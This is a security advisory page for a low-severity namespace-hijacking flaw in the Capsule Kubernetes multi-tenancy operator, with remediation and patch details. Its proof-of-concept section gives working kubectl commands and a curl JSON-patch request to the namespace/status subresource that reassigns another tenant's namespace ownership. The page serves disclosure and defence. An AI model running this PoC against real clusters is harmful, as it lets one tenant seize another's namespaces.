Capsule Namespace Hijacking via subresourceGHSA-2ww6-hf35-mfjm
LOWGHSA-2ww6-hf35-mfjm is a low-severity (CVSS 3.9) Improper Input Validation vulnerability in github.com/projectcapsule/capsule. A fix is available for github.com/projectcapsule/capsule — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-2ww6-hf35-mfjm.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
GHSA-2ww6-hf35-mfjm by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 384,993 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
github.com/projectcapsule/capsuleReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
To defend against namespace hijacking achieved through update/patch operations on namespaces, Capsule uses a webhook to validate update requests targeting namespaces. However, in Kubernetes, the namespace/finalize and namespace/status subresource APIs can also modify various fields of a namespace, including the metadata field. The webhook does not define interception rules for these subresources. As a result, if a tenant administrator has permission to modify namespace/status or namespace/finalize, they can successfully perform namespace hijacking.
Details
When Capsule uses a ValidatingWebhookConfiguration to intercept changes to namespace resources, it does not intercept modification requests initiated through namespace subresource APIs (see: https://github.com/projectcapsule/capsule/blob/main/charts/capsule/templates/validatingwebhookconfiguration.yaml#L193). Through subresource APIs, it is still possible to modify the metadata field of a namespace resource, enabling hijacking.
PoC
Open two terminals and create two tenants:
kubectl create -f - << EOF
apiVersion: capsule.clastix.io/v1beta2
kind: Tenant
metadata:
name: oil
spec:
owners:
- name: alice
kind: User
EOF
./hack/create-user.sh alice solar
export KUBECONFIG=alice-solar.kubeconfig
kubectl create namespace solar-production # alice creates the namespace
kubectl create -f - << EOF
apiVersion: capsule.clastix.io/v1beta2
kind: Tenant
metadata:
name: attacker
spec:
owners:
- name: attacker
kind: User
EOF
./hack/create-user.sh attacker attacker
export KUBECONFIG=attacker-attacker.kubeconfig
When the attacker has permission to modify namespace/status or namespace/finalize, they can hijack other namespaces. Here we grant the attacker the relevant permissions:
kubectl create clusterrole status --verb=patch --resource=namespaces/status
kubectl create clusterrolebinding status --clusterrole=status --user=attacker
The attacker then sends a PATCH request to namespace/status to hijack the namespace created by alice:
curl -k --cert ./attacker-attacker.crt --key attacker-attacker.key --request PATCH 'https://192.168.201.12:6443/api/v1/namespaces/solar-production/status' \
--header 'Content-Type: application/json-patch+json' \
--data '[
{
"op": "replace",
"path": "/metadata/ownerReferences",
"value": [
{
"apiVersion": "capsule.clastix.io/v1beta2",
"kind": "Tenant",
"name": "attacker",
"uid": "1fcb9c9b-b552-4974-a248-32be66a2188c"
}
]
}
]'
Impact
hijack namespace
Remediation
To mitigate this issue, add the following two subresources to the resources list in the ValidatingWebhookConfiguration rules:
resources:
- namespaces
- namespaces/status
- namespace/finalize
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/projectcapsule/capsule | all versions | 0.13.0go get github.com/projectcapsule/capsule@v0.13.0 |
Affected Products
capsuleprojectcapsuleDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/projectcapsule/capsule, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/projectcapsule/capsule to 0.13.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-2ww6-hf35-mfjm is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is GHSA-2ww6-hf35-mfjm in your dependencies?
Find it across Go, including transitive dependencies.